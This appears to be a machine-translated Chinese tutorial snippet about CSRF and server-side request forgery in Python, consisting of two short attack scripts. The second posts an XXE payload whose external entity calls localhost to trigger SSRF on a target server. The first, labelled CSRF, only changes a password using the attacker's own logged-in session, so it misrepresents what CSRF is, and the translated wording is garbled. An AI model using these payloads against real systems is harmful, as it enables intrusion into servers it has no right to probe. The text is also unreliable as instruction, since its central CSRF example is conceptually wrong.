Python中的CSRF攻击与服务器端要求捏造

import requests

# 访问一个需要登录后才能访问的网站，获得session
session = requests.session()
login_data = {"username": "user", "password": "password"}  # 填入正确的用户名和密码
session.post("https://example.com/login", data=login_data)

# 指定发送POST要求的目标URL和数据
url = "https://example.com/change/pwd"
data = {"password": "new_password"}

# 发起POST要求，摹拟攻击
response = session.post(url, data=data)

# 查看会不会密码修改成功
response = session.get("https://example.com/my/profile")
print(response.content)  # 查看修改后的用户信息

import requests

# 指定要攻击的服务器URL
url = "https://vulnerable_server.com/vulnerable_page"

# 构造触发服务端要求捏造漏洞的要求
data = "<?xml version='1.0' standalone='yes'?><!DOCTYPE foo [<!ENTITY xxe SYSTEM 'http://localhost:8000/xxe'>]><foo>&xxe;</foo>"
headers = {'Content-Type': 'application/xml'}
response = requests.post(url, data=data, headers=headers)

# 检查攻击会不会成功
print(response.content)  # 这里应当输出攻击者要求的XML内容